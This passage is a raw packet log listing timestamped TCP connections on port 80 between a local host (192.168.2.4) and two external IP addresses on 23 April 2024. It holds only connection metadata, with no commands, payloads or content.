Apr 23, 2024 09:38:06.438853025 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.438863039 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.438888073 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.438911915 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.438924074 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.438936949 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.438960075 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.438985109 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.438996077 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.439023018 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.439033031 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.439039946 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.439069033 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.439081907 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.439107895 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.439124107 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.439143896 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.439157009 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.439181089 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.439198017 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.439217091 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.439228058 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.439251900 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.439265013 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.439304113 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.439330101 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.439341068 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.439353943 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.439377069 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.439394951 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.439413071 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.439426899 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.439449072 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.439461946 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.439485073 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.439500093 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.439521074 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.439534903 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.439558029 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.439570904 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.439594984 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.439625025 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.439631939 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.439641953 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.439667940 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.439682007 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.439704895 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.439716101 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.439740896 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.439755917 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.439776897 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.439789057 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.439811945 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.439822912 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.439847946 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.439860106 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.439886093 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.439898968 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.439924002 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.439935923 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.439960003 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.439973116 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.439996004 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.440007925 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.440032959 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.440042973 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.440068960 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.440084934 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.440124035 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.440129042 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.440160990 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.440171003 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.440196991 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.440215111 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.440233946 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.440247059 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.440270901 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.440282106 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.440308094 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.440319061 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.440345049 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.440356016 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.440381050 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.440393925 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.440417051 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.440429926 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.440453053 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.440464973 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.440490007 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.440502882 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.440526009 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.440545082 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.440562963 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.440574884 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.440598965 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.440623999 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.440634966 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.440644026 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.440671921 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.440685034 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.440707922 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.440717936 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.440745115 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.440761089 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.440783024 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.440808058 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.440819979 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.440826893 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.440855980 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.440869093 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.440898895 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.440905094 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.440937996 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.440951109 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.440975904 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.441003084 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.441011906 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.441026926 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.441049099 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.441066027 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.441085100 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.441092968 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.441122055 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.441132069 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.441157103 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.441169977 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.441193104 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.441204071 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.441230059 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.441240072 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.441266060 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.441288948 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.441301107 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.441303968 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.441337109 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.441349030 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.441373110 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.441391945 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.441407919 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.441415071 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.441443920 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.441451073 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.441478968 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.441490889 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.441514015 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.441520929 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.441550970 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.441559076 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.441586971 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.441596985 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.441622019 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.441629887 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.441658020 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.441668034 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.441694021 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.441706896 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.441730022 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.441739082 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.441766024 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.441777945 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.441802025 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.441812038 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.441840887 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.441858053 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.441878080 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.441889048 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.441914082 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.441931009 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.441951036 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.441958904 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.441987038 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.441998005 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.442022085 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.442028999 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.442056894 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.442064047 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.442095041 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.442106962 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.442131042 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.442142963 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.442167044 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.442182064 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.442203045 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.442212105 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.442240953 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.442248106 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.442277908 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.442291021 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.442316055 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.442325115 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.442362070 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.581799984 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.581865072 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.581902981 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.581918955 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.581943035 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.581963062 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.581963062 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.581981897 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.581991911 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.582024097 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.582030058 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.582061052 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.582067013 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.582243919 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.675158978 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.675208092 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.675224066 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.675232887 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.675240993 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.675267935 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.675266981 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.675276041 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.675285101 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.675293922 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.675304890 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.675313950 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.675323009 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.675331116 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.675338984 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.675357103 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.675364971 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.675374031 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.675383091 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.675393105 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.675403118 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.675410986 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.675517082 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.675534010 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.675544977 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.675544977 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.675589085 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.675653934 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.675669909 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.675685883 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.675702095 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.675718069 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.675729036 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.675734043 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.675750971 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.675756931 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.675756931 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.675765991 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.675781965 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.675796032 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.675796986 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.675816059 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.675847054 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.675893068 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.675910950 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.675926924 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.675936937 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.675944090 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.675956964 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.675960064 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.675976038 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.675976992 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.675992012 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.675995111 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.676007032 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.676014900 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.676023006 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.676040888 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.676044941 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.676068068 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.676074028 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.676096916 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.676136971 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.676162004 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.676177979 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.676214933 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.676222086 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.676238060 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.676254988 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.676266909 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.676270008 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.676284075 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.676289082 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.676300049 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.676310062 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.676316977 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.676325083 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.676368952 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.676384926 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.676387072 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.676403999 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.676428080 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.676434040 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.676445961 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.676481962 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.676518917 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.676537037 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.676561117 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.676579952 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.676661968 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.676677942 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.676695108 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.676707983 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.676712036 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.676729918 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.676736116 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.676736116 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.676747084 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.676754951 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.676776886 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.676800013 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.676804066 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.676820040 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.676836967 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.676852942 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.676860094 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.676877975 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.676903009 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.676911116 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.676927090 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.676942110 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.676948071 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.676968098 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.676990986 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.676995039 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.677007914 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.677016973 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.677042007 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.677057028 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.677097082 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.677130938 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.677185059 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.677201986 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.677226067 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.677233934 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.677242041 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.677258968 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.677259922 CEST	49734	80	192.168.2.4	176.97.76.106
